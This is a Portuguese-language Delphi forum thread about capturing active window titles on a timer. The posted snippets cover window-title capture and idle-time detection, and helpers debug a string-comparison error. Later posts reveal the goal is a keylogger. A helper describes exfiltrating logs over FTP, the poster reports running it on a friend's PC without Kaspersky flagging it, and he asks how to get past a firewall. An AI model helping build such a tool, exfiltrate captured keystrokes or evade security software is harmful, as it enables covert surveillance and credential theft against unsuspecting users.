Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Capturar janela

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Delphi Capturar janela

    Pessoal,

    É o seguinte estou tendo um problema no meu source olhem só:

    function JanelaAtiva: String;// Função de capturar o titulo da janela
    var
    Handle:THandle;
    Len:LongInt;
    Title: String;
    begin
    Handle:=GetForegroundWindow;
    Len:=GetWindowTextLength(Handle) + 1;
    SetLength(Title,Len);
    GetWindowText(Handle,PChar(Title),Len);
    JanelaAtiva:=TrimRight(Title);
    end;



    procedure TForm1.TLoggerTimer(Sender: TObject);
    begin
    if JanelaAtiva <> oldWnd then
    //se o titulo da janela ativa for diferente da janela ativa antiga
    begin
    Memo1.Lines.Add('['+JanelaAtiva+']');//Adiciona o titulo no memo ex: [Delphi 7]
    oldWnd := JanelaAtiva;//atualiza a variavel com o conteudo da verificação.
    end;



    esta dando erro nessa linha: if JanelaAtiva <> oldWnd then

    quero q capture a titulo da janela ativa e add em um memo mas so q fica adicionando varias vezes isso pq coloquei em um time. Queria q s o nome da janela fosse o mesmo ele n adcionace entede?

    E é isso q essa linha faz mas esta dando erro me agjudem por favor...Desde de já muito obrigado...

  • Font Size
    #2
    Então...vamos com calma xD

    Primeiro....vc precisa do nome de todas as janelas registradas ou você só precisa do nome da janela atual e da janela anterior para comparar as duas?
    Black-Hat.

    Comment


    • Font Size
      #3
      Assim eu preciso registrar todas as janelas...
      E add em um memo, dai ele compara o nome da janela seguinte e s for o mesmo q a anterior ele nao add, mas s for diferente q a anterior ele add...

      Exemplo:
      se o nome da janela for:

      Janela1: Ai ele add s for
      Janela1: outra vez ele n add mas se for
      Janela2: Então ele add dai s for
      Janela1: Agora ele add Janela1 outra vez

      Entedeu? Acho q deu para enteder até mais...

      Comment


      • Font Size
        #4
        Você pode usar a função if para comparar se já ter adicionado ou não.
        Eu já havia feito uma vídeo aula desta:

        [ame]http://www.youtube.com/watch?v=oQrqK3nrrZ4[/ame]
        (Piada de nerd) - Você comprou o cu dele?
        - Sim, comprei, era super duro e bem feito! Esse metalúrgico é de confiança!
        (Piada by Kaao; inventei ela do nada '-')

        NÃO RESPONDO PERGUNTAS POR PM!

        Se quiser uma ajuda minha, me indique o tópico com a sua duvida.

        Comment


        • Font Size
          #5
          Masz post duplo, mas esqueci de passar o comandos:
          TITULO DA JANELA ATIVA:

          var
          titulo: string;
          begin
          setlength( titulo, 255 );
          GetWindowText( GetforegroundWindow, PChar(titulo), 255);
          end;


          DETECTAR INATIVIDADE:

          function Inativo: Integer;
          var
          InpInfo: TLastInputInfo;
          begin
          InpInfo.cbSize := SizeOf(TLastInputInfo) ;
          GetLastInputInfo(InpInfo) ;
          Result := (GetTickCount - InpInfo.dwTime) DIV 1000;
          end;
          (Piada de nerd) - Você comprou o cu dele?
          - Sim, comprei, era super duro e bem feito! Esse metalúrgico é de confiança!
          (Piada by Kaao; inventei ela do nada '-')

          NÃO RESPONDO PERGUNTAS POR PM!

          Se quiser uma ajuda minha, me indique o tópico com a sua duvida.

          Comment


          • Font Size
            #6
            [QUOTE=Kaao GH;45746]Você pode usar a função if para comparar se já ter adicionado ou não.
            Eu já havia feito uma vídeo aula desta:


            Cara,

            Nao entedi muito bem... Eu estou usando o camando if para comparar mais so q esta dando erro...Veja meu codigo ai a cima...

            Comment


            • Font Size
              #7
              Essa "OldWnd" é do tipo string? Pq se não for vai dar erro na comparação mesmo...
              Outra coisa...onde ela está declarada?
              Black-Hat.

              Comment


              • Font Size
                #8
                Outra coisa... pelo que to vendo nessa procedure do timer que vc colocou ai...tem 2 begin e 1 end;
                A não ser que vc não tenha postado ela toda...
                Mas se tiver assim no código não vai nem compilar...

                (mals o double post...CADE O BOTAO EDITAR? -.- )
                Black-Hat.

                Comment


                • Font Size
                  #9
                  Black-Hat,

                  É q eu colei o codigo errado ai no post...E ja resolvi meu problema tmb fiz o seguinte:

                  public
                  { Public declarations }
                  sJanelaAtiva,sJanelaOld : string;
                  regini : TRegistry;


                  function JanelaAtiva: String;// Função de capturar o titulo da janela
                  var
                  Handle:THandle;
                  Len:LongInt;
                  Title: String;
                  begin
                  Handle:=GetForegroundWindow;
                  Len:=GetWindowTextLength(Handle) + 1;
                  SetLength(Title,Len);
                  GetWindowText(Handle,PChar(Title),Len);
                  JanelaAtiva:=TrimRight(Title);
                  end;




                  Depois no time:

                  procedure TForm1.CapturarTimer(Sender: TObject);
                  var
                  keyloop, KeyResult : Integer;
                  begin
                  sJanelaOld:=sJanelaAtiva;
                  sJanelaAtiva := JanelaAtiva;
                  if sJanelaAtiva <> sJanelaOld then
                  Memo1.Lines.Add('['+JanelaAtiva+']<'+DateToStr(Date)+'>');


                  Ai ja pego o nome da janela e a data td belezinha...
                  Muito obrigado a vc's mesmo por me ajudarem.

                  Meu kl ta quase pronto so n to conseguindo fazer para enviar os logs da uma ajudinha ai ja abrir outro topic em relação a isso recebi algumas respostas mas nada de como eviar anexo n entedi muito como nesse topic...
                  Só falta isso por favor ajuda ai. Postem ai q agora eu vou assistir EspanhaXParaguai Brasil ja perdeu mesmo to torcendo para a espanha... rsrsssrsrs VLW.

                  Comment


                  • Font Size
                    #10
                    No meu keylog que fiz, eu resolver enviar os logs via FTP por ser a maneria mais fácil que encontrei, apensar não ser a melhor.
                    Vídeo aula de como usar FTP:
                    [ame]http://www.youtube.com/watch?v=SxFg_aJ7YYQ[/ame]

                    Comandos:
                    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...


                    Outra, viu a vídeo aula? Fiz diversos testes e não conseguir sucesso usando a comparação somente entre as strings, por isto tive que fazer gabariada usando os edits.
                    (Piada de nerd) - Você comprou o cu dele?
                    - Sim, comprei, era super duro e bem feito! Esse metalúrgico é de confiança!
                    (Piada by Kaao; inventei ela do nada '-')

                    NÃO RESPONDO PERGUNTAS POR PM!

                    Se quiser uma ajuda minha, me indique o tópico com a sua duvida.

                    Comment


                    • Font Size
                      #11
                      Cara,

                      Vlw deu td certo aqui e nem testei na maquina de um amigo e nem precisou desaivar o firewal e olha q o dele é o KIS quando chegar em casa vou testar no meu pc para ver...

                      coloquei os codigos em um Time... Vlw mesmo vc n sabe onde encontro artigos sobre API, Memorias essas coisa para estudar?

                      Comment


                      • Font Size
                        #12
                        Amigo,

                        raised class EID protocol Reply Error witch ,essage 'Cold not open data conection to port 2230;
                        conection refused.

                        Esta dando esse erro deve ser o firewal ne?
                        Vc tem uma dica de como passar por ele? S estiver me ensina ae...

                        Comment

                        X
                        Working...
                        X